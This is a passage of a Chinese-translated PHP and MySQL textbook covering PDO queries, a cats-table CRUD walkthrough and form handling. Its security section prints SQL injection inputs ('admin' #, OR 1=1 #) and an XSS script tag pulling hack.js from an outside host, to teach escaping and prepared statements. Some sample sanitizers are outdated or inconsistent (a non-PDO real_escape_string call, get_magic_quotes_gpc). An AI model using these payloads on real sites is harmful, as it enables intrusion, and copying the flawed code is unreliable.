    $r2 = htmlspecialchars($row['category']);
    $r3 = htmlspecialchars($row['year']);
    $r4 = htmlspecialchars($row['isbn']);

    echo <<<_END
  <pre>
    Author $r0
     Title $r1
  Category $r2
      Year $r3
      ISBN $r4
  </pre>
  <form action='sqltest.php' method='post'>
  <input type='hidden' name='delete' value='yes'>
  <input type='hidden' name='isbn' value='$r4'>
  <input type='submit' value='DELETE RECORD'></form>
_END;
  }

  function get_post($pdo, $var)
  {
    return $pdo->quote($_POST[$var]);
  }
?>

来自示例 10-8, sqltest.php 的输出

图 11-2. 来自示例 11-6,sqltest.php 的输出

这个程序大约有 80 行代码,可能看起来令人生畏,但不用担心——你已经在示例 11-4 中涵盖了许多行,并且代码的功能实际上非常简单。

首先检查可能已经输入的任何输入内容,然后根据提供的输入要么将新数据插入到publications数据库中的classics表中,要么从中删除一行。不管是否有输入,程序都会将表中的所有行输出到浏览器中。那么,让我们看看它是如何工作的。

新代码的第一部分开始使用isset函数检查是否已经向程序发送了所有字段的值。确认后,if语句中的每行调用get_post函数,该函数出现在程序末尾。此函数有一个小但至关重要的工作:从浏览器获取输入。

注意

出于清晰和简洁的原因,并且为了尽可能简单地解释事物,许多后续示例省略了某些非常明智的安全预防措施,这些措施本应使示例变得更长,可能会削弱对其功能的最清晰解释。因此,重要的是不要跳过本章后面关于防止数据库被黑客攻击的部分(“防止黑客攻击”),在这部分中,您将了解有关通过代码采取的额外措施来保护数据库的信息。

$_POST 数组

我在前面的章节中提到,浏览器通过 GET 请求或 POST 请求发送用户输入。通常首选 POST 请求(因为它可以防止在浏览器地址栏中放置不雅观的数据),因此我们在这里使用它。Web 服务器将所有用户输入(即使表单填写了一百个字段)捆绑到名为$_POST的数组中。

$_POST 是一个关联数组,在第六章中已经遇到过。根据表单设置为使用 POST 还是 GET 方法,$_POST$_GET关联数组将被填充表单数据。它们可以以完全相同的方式读取。

每个字段在数组中都有一个以该字段命名的元素。因此,如果表单包含名为isbn的字段,则$_POST数组包含以单词isbn为键的元素。PHP 程序可以通过引用$_POST['isbn']$_POST["isbn"](在这种情况下,单引号和双引号具有相同的效果)来读取该字段。

如果 $_POST 语法对你来说仍然复杂,可以放心地使用我在 示例 11-6 中展示的惯例,将用户的输入复制到其他变量中,之后就可以忘记 $_POST。这在 PHP 程序中很正常:它们在程序开头从 $_POST 中检索所有字段,然后忽略它。

注意

没有理由向 $_POST 数组中的元素写入。它的唯一目的是从浏览器传递信息给程序,最好在修改数据之前将数据复制到自己的变量中。

因此,回到 get_post 函数,该函数将检索到的每个项通过 PDO 对象的 quote 方法传递,以转义黑客可能插入以破坏或更改数据库的引号,并为你的每个字符串添加引号,例如这样:

function get_post($pdo, $var)
{
  return $pdo->quote($_POST[$var]);
}

删除记录

在检查新数据是否已发布之前,程序会检查变量 $_POST['delete'] 是否有值。如果有,用户已点击“DELETE RECORD”按钮来删除记录。在这种情况下,$isbn 的值也将已发布。

正如你可能记得的那样,ISBN 唯一标识每个记录。HTML 表单将 ISBN 追加到变量 $query 中创建的 DELETE FROM 查询字符串中,然后将其传递给 $conn 对象的 query 方法以发送到 MySQL。

如果 $_POST['delete'] 没有设置(并且没有记录需要删除),会检查 $_POST['author'] 和其他已发布值。如果它们都有值,$query 将设置为 INSERT INTO 命令,后跟要插入的五个值。然后将字符串传递给 query 方法。

如果任何查询失败,try...catch 命令将导致错误的发生。在生产网站上,你不希望显示这些面向程序员的错误消息,你需要将你的 CATCH 语句替换为一个能够整洁地处理错误并决定向用户提供何种错误消息(如果有的话)的语句。

显示表单

在显示小表单之前(如在 图 11-2 中所示),程序通过将它们传递给 htmlspecialchars 函数,将从 $row 数组输出的元素的副本转义到变量 $r0$r4 中,以替换任何潜在危险的 HTML 字符为无害的 HTML 实体。

接下来是显示输出的代码部分,使用了像在前几章中看到的 echo <<<_END..._END 结构输出 _END 标记之间的所有内容。

注意

程序可以不使用 echo 命令,而是使用 ?> 退出 PHP,输出 HTML,然后使用 <?php 重新进入 PHP 处理。使用哪种风格是程序员的个人偏好问题,但我始终建议保持在 PHP 代码内部,出于以下原因:

  • 它清楚地表明,当您调试时(以及其他用户时),.php 文件中的所有内容都是 PHP 代码。因此,没有必要去寻找回到 HTML 的点。

  • 当您希望直接在 HTML 中包含 PHP 变量时,您可以直接输入它。如果您回到 HTML,您将不得不暂时重新进入 PHP 处理,访问变量,然后再退出。

HTML 表单部分简单地将表单的操作设置为sqltest.php。这意味着当提交表单时,表单字段的内容将发送到文件sqltest.php,即程序本身。表单还设置为将字段作为 POST 请求发送,而不是 GET 请求。这是因为 GET 请求会附加到正在提交的 URL 中,并且在浏览器中可能看起来混乱。它们还允许用户轻松修改提交并尝试黑客攻击您的服务器(尽管这也可以通过浏览器开发者工具实现)。此外,避免 GET 请求可以防止过多的信息出现在服务器日志文件中。因此,尽可能使用 POST 提交,这还有利于减少提交的数据量。

在输出表单字段之后,HTML 显示一个名为添加记录的提交按钮,并关闭表单。请注意这里的<pre></pre>标签,它们用于强制使用等宽字体,以便所有输入都整齐地对齐。当位于<pre>标签内时,每行末尾的换行符也会输出。

查询数据库

接下来,代码回到了熟悉的示例 11-4 领域,其中向 MySQL 发送一个查询,请求查看classics表中的所有记录,如下所示:

$query  = "SELECT * FROM classics";
$result = $pdo->query($query);

接下来进入一个while循环以显示每行的内容。然后,程序通过调用$resultfetch方法,将结果行填充到数组$row中。

有了$row中的数据,现在很容易在随后的 heredoc echo语句中显示它,我选择使用<pre>标签来使每个记录的显示对齐。

在每个记录显示后,还有一个第二个表单,也会提交到sqltest.php(程序本身),但这次包含两个隐藏字段:deleteisbndelete字段设置为yesisbn设置为$row[isbn]中包含的值,其中包含记录的 ISBN。

然后显示名为删除记录的提交按钮,并关闭表单。然后一个花括号完成了while循环,该循环将继续,直到显示所有记录为止。

最后,您会看到函数get_post的定义,我们已经看过了。这就是我们的第一个 PHP 程序,用于操作 MySQL 数据库。因此,让我们看看它能做什么。

一旦你输入了程序(并纠正了任何输入错误),尝试在各种输入字段中输入以下数据,为书籍 Moby Dick 添加一个新记录到数据库中:

Herman Melville
Moby Dick
Fiction
1851
9780199535729

运行程序

当你使用“添加记录”按钮提交这些数据后,向下滚动网页以查看新添加的内容。它应该类似于 图 11-3,尽管由于我们没有使用 ORDER BY 对结果进行排序,因此它出现的位置是不确定的。

向数据库中添加白鲸的结果

图 11-3. 向数据库中添加白鲸的结果

现在让我们看看通过创建一个虚拟记录来了解删除记录的工作原理。尝试在每个五个字段中只输入数字1,然后点击“添加记录”按钮。如果现在向下滚动,你会看到一个新的记录,只包含数字 1。显然,在这个表中这条记录是没有用的,所以现在点击“删除记录”按钮,再次向下滚动确认记录已删除。

注意

假设一切正常,现在你可以随意添加和删除记录。试着多做几次,但保留主要记录(包括 Moby Dick 的新记录),因为我们稍后会用到它们。你也可以尝试再次添加全 1 的记录几次,并注意第二次收到的错误消息,表明已经有一个 ISBN 号为 1 的记录。

实用的 MySQL

现在你可以开始学习一些实用的技术,以便在 PHP 中访问 MySQL 数据库,包括创建和删除表格;插入、更新和删除数据;以及保护数据库和网站免受恶意用户的侵害。请注意,以下示例假定你已经创建了本章前面讨论过的 login.php 程序。

创建表格

假设你正在一个野生动物园工作,需要创建一个数据库来存储它所养的各种类型猫的详细信息。据告知,这里有九个猫科动物——狮子、老虎、美洲豹、豹子、美洲狮、猎豹、山猫、瓜哇金钱豹和家猫,所以你需要一个用于这个的列。然后每只猫都被赋予了一个名字,所以又需要一个列,并且你还想要跟踪它们的年龄,这是另一个列。当然,你可能以后需要更多列,比如饮食需求、接种疫苗和其他细节,但现在已经足够开始了。每个动物还需要一个唯一标识符,所以你还决定创建一个叫做 id 的列。

示例 11-7 展示了你可能用来创建一个 MySQL 表来存储这些数据的代码,其中主要查询指定为粗体文本。

示例 11-7. 创建一个名为 cats 的表
<?php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  $query = "`CREATE TABLE cats (     id SMALLINT NOT NULL AUTO_INCREMENT,     family VARCHAR(32) NOT NULL,     name VARCHAR(32) NOT NULL,     age TINYINT NOT NULL,     PRIMARY KEY (id)` )";

  $result = $pdo->query($query);
?>

正如你所看到的,MySQL 查询看起来就像直接在命令行中键入的内容,只是没有末尾的分号。

描述表格

当你未登录到 MySQL 命令行时,这里有一段方便的代码可以在浏览器内部验证表格是否已经正确创建。它简单地执行查询DESCRIBE cats,然后输出一个带有四个标题——ColumnTypeNullKey——以及表格中所有列的 HTML 表格。要在其他表格中使用它,只需将查询中的cats替换为新表格的名称(参见示例 11-8)。

示例 11-8. 描述 cats 表格
<?php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  $query  = "`DESCRIBE cats`";
  $result = $pdo->query($query);

  echo "<table><tr><th>Column</th><th>Type</th><th>Null</th><th>Key</th></tr>";

  while ($row = $result->fetch(`PDO``::``FETCH_NUM`))
  {
    echo "<tr>";
    for ($k = 0 ; $k < 4 ; ++$k)
      echo "<td>" . htmlspecialchars($row[$k]) . "</td>";
    echo "</tr>";
  }

  echo "</table>";
?>

看看如何使用FETCH_NUM的 PDO 获取样式返回数值数组,以便轻松显示返回数据的内容,而不使用名称。程序的输出应如下所示:

Column Type        Null Key
id     smallint(6) NO   PRI
family varchar(32) NO
name   varchar(32) NO
age    tinyint(4)  NO

删除表格

删除表格非常容易,因此非常危险,请务必小心。示例 11-9 显示了您需要的代码。但是,在您通过其他示例(直到“执行其他查询”)之前,我不建议您尝试它,因为它将删除表 cats,您将需要使用 示例 11-7 重新创建它。

示例 11-9. 删除 cats 表格
<?php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  $query  = "`DROP TABLE cats`";
  $result = $pdo->query($query);
?>

添加数据

现在让我们使用 示例 11-10 中的代码向表格中添加一些数据。

示例 11-10. 向 cats 表格添加数据
<?php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  $query  = "`INSERT INTO cats VALUES(NULL, 'Lion', 'Leo', 4)`";
  $result = $pdo->query($query);
?>

你可能希望通过修改 $query 来添加一些更多的数据项,然后再次在浏览器中调用程序:

$query = "INSERT INTO cats VALUES(NULL, 'Cougar', 'Growler', 2)";
$query = "INSERT INTO cats VALUES(NULL, 'Cheetah', 'Charly', 3)";

顺便提一句,注意作为第一个参数传递的NULL值?这是因为 id 列的类型是 AUTO_INCREMENT,MySQL 将根据序列中的下一个可用编号决定分配什么值。因此,我们只需传递一个NULL值,这将被忽略。

当然,用数组创建并插入数据是将数据快速填充到 MySQL 中的最有效方法。

注意

在本书的这一部分,我专注于向您展示如何直接将数据插入到 MySQL 中(并提供一些保持过程安全的安全预防措施)。然而,在本书的后续部分,我们将介绍一种更好的方法,您可以使用占位符(见“使用占位符”),这几乎使用户无法向数据库中注入恶意攻击。因此,在阅读本节时,请理解这是 MySQL 插入操作的基础知识,并记住我们将在以后进一步完善它。

检索数据

现在已经向 cats 表格中输入了一些数据,示例 11-11 显示了如何检查其是否已正确插入。

示例 11-11. 从 cats 表格检索行
<?php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  $query  = "`SELECT * FROM cats`";
  $result = $pdo->query($query);

  echo "<table><tr> <th>Id</th> <th>Family</th><th>Name</th><th>Age</th></tr>";

  while ($row = $result->fetch(`PDO``::``FETCH_NUM`))
  {
    echo "<tr>";
    for ($k = 0 ; $k < 4 ; ++$k)
      echo "<td>" . htmlspecialchars($row[$k]) . "</td>";
    echo "</tr>";
  }

  echo "</table>";
?>

此代码只需执行 MySQL 查询SELECT * FROM cats,然后显示所有以数值方式访问的数组形式返回的行。其输出如下:

Id Family  Name    Age
1  Lion    Leo     4
2  Cougar  Growler 2
3  Cheetah Charly  3

在这里,您可以看到id列已经正确地自动增加。

更新数据

修改您已经插入的数据也非常简单。您是否注意到猎豹 Charly 的名字的拼写错误?让我们将其更正为 Charlie,就像示例 11-12 中所示。

示例 11-12. 将猎豹 Charly 的名称更改为 Charlie
<?php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  $query  = "`UPDATE cats SET name='Charlie' WHERE name='Charly'`";
  $result = $pdo->query($query);
?>

如果您再次运行示例 11-11,您将看到它现在输出以下内容:

Id Family  Name    Age
1  Lion    Leo     4
2  Cougar  Growler 2
3  Cheetah Charlie 3

删除数据

Cougar Growler 已被转移到另一个动物园,所以现在是时候从数据库中删除它了;参见示例 11-13。

示例 11-13. 从 cats 表中删除 Cougar Growler
<?php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  $query  = "`DELETE FROM cats WHERE name='Growler'`";
  $result = $pdo->query($query);
?>

这使用了标准的DELETE FROM查询,当您运行示例 11-11 时,您可以看到行已在以下输出中被移除:

Id Family  Name    Age
1  Lion    Leo     4
3  Cheetah Charlie 3

使用 AUTO_INCREMENT

当使用AUTO_INCREMENT时,您无法知道在插入行之前列已经被赋予了什么值。相反,如果您需要知道它,您必须在之后使用mysql_insert_id函数询问 MySQL。这种需求很常见:例如,当您处理购买时,您可能会将新客户插入Customers表中,然后在将购买插入Purchases表时引用新创建的CustId

注意

建议使用AUTO_INCREMENT而不是选择id列中的最高 ID 并将其递增一,因为并发查询可能会在获取最高值后并在计算值存储之前更改该列中的值。

示例 11-10 可以重写为示例 11-14,以在每次插入后显示此值。

示例 11-14. 向 cats 表中添加数据并报告插入 ID
<?php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  $query  = "`INSERT INTO cats VALUES(NULL, 'Lynx', 'Stumpy', 5`)";
  $result = $pdo->query($query);

  echo "The Insert ID was: " . `$pdo``->``lastInsertId``()`;
?>

表的内容现在应该像下面这样(请注意先前的id值为2没有被重用,因为这可能在某些情况下会引起问题):

Id Family  Name    Age
1  Lion    Leo     4
3  Cheetah Charlie 3
4  Lynx    Stumpy  5

使用插入 ID

在多个表中插入数据是非常常见的:一本书及其作者,一个客户及其购买记录等等。当在具有自动增量列的情况下进行此操作时,您需要保留返回的插入 ID 以存储在相关表中。

例如,假设这些猫可以作为筹集资金的手段被公众“领养”,当新猫被存储在cats表中时,我们还希望创建一个键将其与动物的领养主绑定。用于实现此目的的代码类似于示例 11-14,不同之处在于返回的插入 ID 存储在变量$insertID中,并作为后续查询的一部分使用:

$query    = "INSERT INTO cats VALUES(NULL, 'Lynx', 'Stumpy', 5)";
$result   = $pdo->query($query);
`$insertID` = $pdo->lastInsertId();

$query    = "INSERT INTO owners VALUES(`$insertID`, 'Ann', 'Smith')";
$result   = $pdo->query($query);

现在,通过猫的唯一 ID 将猫连接到其“所有者”,该 ID 是通过AUTO_INCREMENT自动创建的。此示例,尤其是最后两行,是展示如何在我们创建了一个名为owners的表后,如何使用插入 ID 作为键的理论代码。

执行附加查询

好了,关于猫的趣味就到此为止。要探索一些稍微复杂的查询,我们需要恢复使用您在第八章中创建的customersclassics表。customers表中将有两位客户;classics表包含一些书籍的详细信息。它们还共享一个名为isbn的常见列,您可以使用它来执行附加查询。

例如,要显示所有客户以及他们购买的书籍的标题和作者,您可以使用示例 11-15 中的代码。

示例 11-15. 执行次要查询
<?php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  $query  = "`SELECT * FROM customers`";
  $result = $pdo->query($query);

  while ($row = $result->fetch())
  {
    $custname = htmlspecialchars($row['name']);
    $custisbn = htmlspecialchars($row['isbn']);

    echo "$custname purchased ISBN $custisbn: <br>";

    $subquery  = "`SELECT * FROM classics WHERE isbn='``$custisbn``'`";
    $subresult = $pdo->query($subquery);
    $subrow    = $subresult->fetch();

    $custbook  = htmlspecialchars($subrow['title']);
    $custauth  = htmlspecialchars($subrow['author']);

    echo "&nbsp;&nbsp; '$custbook' by $custauth<br><br>";
  }
?>

此程序使用对customers表的初始查询来查找所有客户,然后根据每个客户购买的书籍的 ISBN,对classics表进行新的查询,以查找每本书的标题和作者。此代码的输出应类似于以下内容:

Joe Bloggs purchased ISBN 9780099533474:
  'The Old Curiosity Shop' by Charles Dickens

Jack Wilson purchased ISBN 9780517123201:
  'The Origin of Species' by Charles Darwin

Mary Smith purchased ISBN 9780582506206:
  'Pride and Prejudice' by Jane Austen
注意

当然,尽管它不会说明执行附加查询,但在这种特定情况下,您也可以使用NATURAL JOIN查询返回相同的信息(参见第八章),如下所示:

SELECT name,isbn,title,author FROM customers
 NATURAL JOIN classics;

防止黑客攻击

如果您还没有研究过,您可能很难意识到将未经检查的用户输入传递给 MySQL 有多么危险。例如,假设您有一个简单的代码片段来验证用户,看起来像这样:

$user  = $_POST['user'];
$pass  = $_POST['pass'];
$query = "SELECT * FROM users WHERE user='$user' AND pass='$pass'";

乍一看,您可能会认为这段代码完全没问题。如果用户为$user$pass分别输入fredsmithmypass的值,则作为传递给 MySQL 的查询字符串将如下所示:

SELECT * FROM users WHERE user='fredsmith' AND pass='mypass'

这一切都很好,但是如果有人为$user输入以下内容(甚至不为$pass输入任何内容)会怎么样?

admin' #

让我们看一下将发送到 MySQL 的字符串:

SELECT * FROM users WHERE user='admin' #' AND pass=''

您看到问题了吗?发生了SQL 注入攻击。在 MySQL 中,#符号表示注释的开始。因此,用户将以管理员(假设存在用户admin)身份登录,而无需输入密码。以下是将执行的查询部分显示为粗体;其余部分将被忽略。

`SELECT` `*` `FROM` `users` `WHERE` `user``=``'admin'` `#`' AND pass=''

但是,如果这只是一个恶意用户对您做的一切,您可以算自己非常幸运。至少您可能仍然可以进入应用程序并撤消用户作为管理员所做的任何更改。但是,如果您的应用程序代码从数据库中删除用户呢?代码可能看起来像这样:

$user  = $_POST['user'];
$pass  = $_POST['pass'];
$query = "DELETE FROM users WHERE user='$user' AND pass='$pass'";

再次,乍一看,这看起来很正常,但是如果有人为$user输入以下内容会怎样?

anything' OR 1=1 #

MySQL 将按以下方式解释这个字符串:

`DELETE` `FROM` `users` `WHERE` `user``=``'anything'` `OR` `1``=``1` `#`' AND pass=''

噢——由于任何陈述后面跟着的OR 1=1都会始终为TRUE,所以该 SQL 查询将始终为TRUE,因此,由于 # 字符而忽略了其余部分的陈述,您现在失去了整个用户数据库!那么对于这种攻击,你能做些什么呢?

您可以采取的步骤

首先,不要依赖于 PHP 的内置魔术引号,它会自动转义任何字符,例如单引号和双引号,并在它们之前加上反斜杠(\)。为什么?因为此功能可以关闭。许多程序员这样做是为了在服务器上放置他们自己的安全代码,并不能保证这在您所使用的服务器上没有发生。实际上,此功能已自 PHP 5.3.0 起不建议使用,并在 PHP 5.4.0 中删除。

相反,正如我们之前展示的那样,你可以使用 PDO 对象的quote方法来转义所有字符并用引号包围字符串。示例 11-16 是一个你可以使用的函数,它将删除用户输入字符串中添加的任何魔术引号,然后为您正确地进行了清理。

示例 11-16. 如何正确清理 MySQL 的用户输入
<?php
  function mysql_fix_string($pdo, $string)
  {
    if (get_magic_quotes_gpc()) $string = stripslashes($string);
    return $pdo->quote($string);
  }
?>

如果魔术引号处于活动状态,则get_magic_quotes_gpc函数将返回TRUE。在这种情况下,必须删除添加到字符串中的任何反斜杠,否则quote方法可能会导致一些字符双重转义,从而创建损坏的字符串。示例 11-17 演示了如何在您自己的代码中使用mysql_fix_string

示例 11-17. 如何安全地使用用户输入访问 MySQL
<?php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  $user  = mysql_fix_string($pdo, $_POST['user']);
  $pass  = mysql_fix_string($pdo, $_POST['pass']);
  $query = "`SELECT * FROM users WHERE user=``$user` `AND pass=``$pass`";

  // Etc... 
  function mysql_fix_string($pdo, $string)
  {
    if (get_magic_quotes_gpc()) $string = stripslashes($string);
    return $pdo->quote($string);
  }
?>

注意

请记住,由于引号方法会自动在字符串周围添加引号,因此您不应在任何使用这些经过清理的字符串的查询中使用它们。因此,在使用以下查询之前:

 $query = "SELECT * FROM users WHERE user=`'``$user``'` AND pass=`'``$pass``'`";

您应该输入以下内容:

 $query = "SELECT * FROM users WHERE user=`$user` AND pass=`$pass`";

然而,这些预防措施正变得不那么重要,因为有一种更简单和更安全的访问 MySQL 的方法,可以避免这些类型的函数——即使用占位符,下面将对此进行解释。

使用占位符

到目前为止,您看到的所有方法都适用于 MySQL,但都存在安全风险,因为字符串需要不断转义以防止安全风险。因此,现在您已经了解了基础知识,让我介绍与 MySQL 交互的最佳和推荐方法,从安全角度来看几乎是防弹的。阅读完本节后,您不应再直接将数据插入 MySQL(尽管重要的是向您展示如何做到这一点),而应始终使用占位符。

那么什么是占位符?它们是准备语句中的位置,其中数据直接传输到数据库,无法将用户提交的(或其他)数据解释为 MySQL 语句(以及可能导致的黑客攻击)。

这项技术要求您首先准备要在 MySQL 中执行的语句,但是保留所有与数据有关的语句部分为简单的问号。

在普通的 MySQL 中,准备语句看起来像示例 11-18。

示例 11-18. MySQL 占位符
PREPARE statement FROM "INSERT INTO classics VALUES(?,?,?,?,?)";

SET @author   = "Emily Brontë",
    @title    = "Wuthering Heights",
    @category = "Classic Fiction",
    @year     = "1847",
    @isbn     = "9780553212587";

EXECUTE statement USING @author,@title,@category,@year,@isbn;
DEALLOCATE PREPARE statement;

这可能对提交到 MySQL 很繁琐,因此PDO扩展使您更容易处理占位符,提供了一个名为prepare的现成方法,您可以像这样调用它:

$stmt = $pdo->prepare('INSERT INTO classics VALUES(?,?,?,?,?)');

该方法返回的对象$stmt(简称statement)用于将数据发送到服务器,代替问题标记。首次使用是将一些 PHP 变量绑定到每个问题标记(占位符参数)中,如下所示:

$stmt->bindParam(1, $author,   PDO::PARAM_STR, 128);
$stmt->bindParam(2, $title,    PDO::PARAM_STR, 128);
$stmt->bindParam(3, $category, PDO::PARAM_STR, 16 );
$stmt->bindParam(4, $year,     PDO::PARAM_INT     );
$stmt->bindParam(5, $isbn,     PDO::PARAM_STR, 13 );

bindParam的第一个参数是表示要插入的值在查询字符串中的位置的数字(换句话说,指的是哪个问号占位符),其后是将为该占位符提供数据的变量,然后是变量必须是的数据类型,如果是字符串,还有另一个值指定其最大长度。

当将变量绑定到准备好的语句中时,现在有必要填充它们的数据传递给 MySQL,就像这样:

$author   = 'Emily Brontë';
$title    = 'Wuthering Heights';
$category = 'Classic Fiction';
$year     = '1847';
$isbn     = '9780553212587';

此时,PHP 已经拥有执行准备语句所需的一切,因此您可以发出以下命令,调用先前创建的$stmt对象的execute方法,并将要插入的值作为数组传递:

$stmt->execute([$author, $title, $category, $year, $isbn]);

在继续之前,验证命令是否成功执行是有意义的。以下是您如何通过调用$stmtrowCount方法来执行验证:

printf("%d Row inserted.\n", $stmt->rowCount());

在这种情况下,输出应指示已插入一行。

当你把所有这些结合起来,结果就是示例 11-19。

示例 11-19. 发出准备语句
<?php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  $stmt = $pdo->prepare('INSERT INTO classics VALUES(?,?,?,?,?)');
  $stmt->bindParam(1, $author,   PDO::PARAM_STR, 128);
  $stmt->bindParam(2, $title,    PDO::PARAM_STR, 128);
  $stmt->bindParam(3, $category, PDO::PARAM_STR, 16 );
  $stmt->bindParam(4, $year,     PDO::PARAM_INT     );
  $stmt->bindParam(5, $isbn,     PDO::PARAM_STR, 13 );

  $author   = 'Emily Brontë';
  $title    = 'Wuthering Heights';
  $category = 'Classic Fiction';
  $year     = '1847';
  $isbn     = '9780553212587';

  $stmt->execute([$author, $title, $category, $year, $isbn]);
  printf("%d Row inserted.\n", $stmt->rowCount());
?>

每当你能够在非准备语句的地方使用准备语句时,你都将关闭一个潜在的安全漏洞,因此值得花些时间了解如何使用它们。

防止 JavaScript 注入到 HTML 中

还有另一种类型的注入需要关注——不是为了您自己网站的安全,而是为了用户的隐私和保护。那就是跨站脚本攻击,也称为XSS 攻击

当你允许用户输入 HTML 或者更常见的 JavaScript 代码,并且在你的网站上显示时,这种情况就会发生。一个常见的场景是在评论表单中。最常见的情况是,恶意用户会尝试编写代码,从你网站的用户那里窃取 cookie,甚至可以发现用户名和密码对(如果处理不当),或者其他可能导致会话劫持的信息(即黑客接管用户登录,然后接管该人的账户!)。或者恶意用户可能会发起攻击,下载特洛伊木马到用户的计算机上。

防止这种情况发生就像调用 htmlentities 函数一样简单,它会剥离所有的 HTML 标记并用一种显示字符但不允许浏览器执行的形式替换它们。例如,考虑以下 HTML:

<script src='http://x.com/hack.js'></script>
<script>hack();</script>

此代码加载一个 JavaScript 程序,然后执行恶意函数。但如果先通过 htmlentities 处理,它将变成以下完全无害的字符串:

&lt;script src='http://x.com/hack.js'&gt; &lt;/script&gt;
&lt;script&gt;hack();&lt;/script&gt;

因此,如果您要显示用户输入的任何内容,无论是立即显示还是在将其存储到数据库后显示,都需要首先使用 htmlentities 函数对其进行清理。为此,建议您创建一个新函数,就像示例 11-20 中的第一个函数一样,可以同时清理 SQL 和 XSS 注入。

示例 11-20. 用于预防 SQL 和 XSS 注入攻击的函数
<?php
  function mysql_entities_fix_string($pdo, $string)
  {
    return htmlentities(mysql_fix_string($pdo, $string));
  }    

  function mysql_fix_string($pdo, $string)
  {
    if (get_magic_quotes_gpc()) $string = stripslashes($string);
    return $pdo->real_escape_string($string);
  }
?>

mysql_entities_fix_string 函数首先调用 mysql_fix_string,然后将结果通过 htmlentities 处理后返回完全清理过的字符串。要使用这两个函数之一,您必须已经有一个活动的连接对象打开到一个 MySQL 数据库。

示例 11-21 展示了示例 11-17 的新“更高保护”版本。这只是示例代码,您需要在看到 //Etc... 注释行的地方添加访问返回结果的代码。

示例 11-21. 如何安全访问 MySQL 并预防 XSS 攻击
<?php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  $user  = mysql_entities_fix_string($pdo, $_POST['user']);
  $pass  = mysql_entities_fix_string($pdo, $_POST['pass']);
  $query = "SELECT * FROM users WHERE user='$user' AND pass='$pass'";

  //Etc…

  function mysql_entities_fix_string($pdo, $string)
  {
    return htmlentities(mysql_fix_string($pdo, $string));
  }    

  function mysql_fix_string($pdo, $string)
  {
    if (get_magic_quotes_gpc()) $string = stripslashes($string);
    return $pdo->quote($string);
  }
?>

问题

  1. 如何使用 PDO 连接到 MySQL 数据库?

  2. 如何使用 PDO 向 MySQL 提交查询?

  3. 什么样的 fetch 方法可以用来将行作为按列编号的数组返回?

  4. 如何手动关闭 PDO 连接?

  5. 在向具有 AUTO_INCREMENT 列的表添加行时,该列应传递什么值?

  6. 哪个 PDO 方法可以用来正确转义用户输入以防止代码注入?

  7. 在访问数据库时确保数据库安全的最佳方法是什么?

请查看“第十一章答案”在附录 A 中查找这些问题的答案。

第十二章:表单处理

网站用户与 PHP 和 MySQL 交互的主要方式之一是通过 HTML 表单。这些在互联网的早期开发中引入,1993 年甚至在电子商务出现之前就已经存在,并且由于其简单性和易用性而成为主流,尽管格式化它们可能会是一场噩梦。

当然,多年来对 HTML 表单处理进行了增强以添加额外功能,因此本章将使您了解技术的最新进展,并展示实施具有良好可用性和安全性的表单的最佳方法。另外,正如稍后您将看到的,HTML5 规范进一步改进了表单的使用。

构建表单

处理表单是一个多部分的过程。首先是创建一个用户可以输入所需详细信息的表单。然后,这些数据被发送到 Web 服务器,在那里进行解释,通常伴随一些错误检查。如果 PHP 代码识别出一个或多个需要重新输入的字段,可能会重新显示表单并显示错误消息。当代码对输入的准确性感到满意时,它会执行某些操作,通常涉及数据库,如输入有关购买的详细信息。

要构建一个表单,您至少必须有以下元素之一:

  • 一个开头的<form>和结尾的</form>标签

  • 指定使用 GET 或 POST 方法的提交类型

  • 一个或多个 input 字段

  • 表单数据要提交的目标 URL

示例 12-1 展示了一个用 PHP 创建的非常简单的表单,您应该键入并保存为 formtest.php

示例 12-1. formtest.php ——一个简单的 PHP 表单处理程序
<?php // formtest.php
  echo <<<_END
 <html>
 <head>
 <title>Form Test</title>
 </head>
 <body>
 <form method="post" action="formtest.php">
 What is your name?
 <input type="text" name="name">
 <input type="submit">
 </form>
 </body>
 </html>
_END;
?>

关于这个示例的第一件事情是,正如您在本书中已经看到的,而不是在 PHP 代码中进出,echo <<<_END..._END 结构在必须输出多行 HTML 时使用。

在这个多行输出内部是一些标准代码,用于开始 HTML 文档、显示其标题,并启动文档的正文。然后是表单,设置为使用 POST 方法将其数据发送到名为 formtest.php 的 PHP 程序,这就是程序本身的名称。

程序的其余部分只是关闭它打开的所有项目:表单、HTML 文档的正文以及 PHP echo <<<_END 语句。在 Web 浏览器中打开此程序的结果如 图 12-1 所示。

在 Web 浏览器中打开 formtest.php 的结果

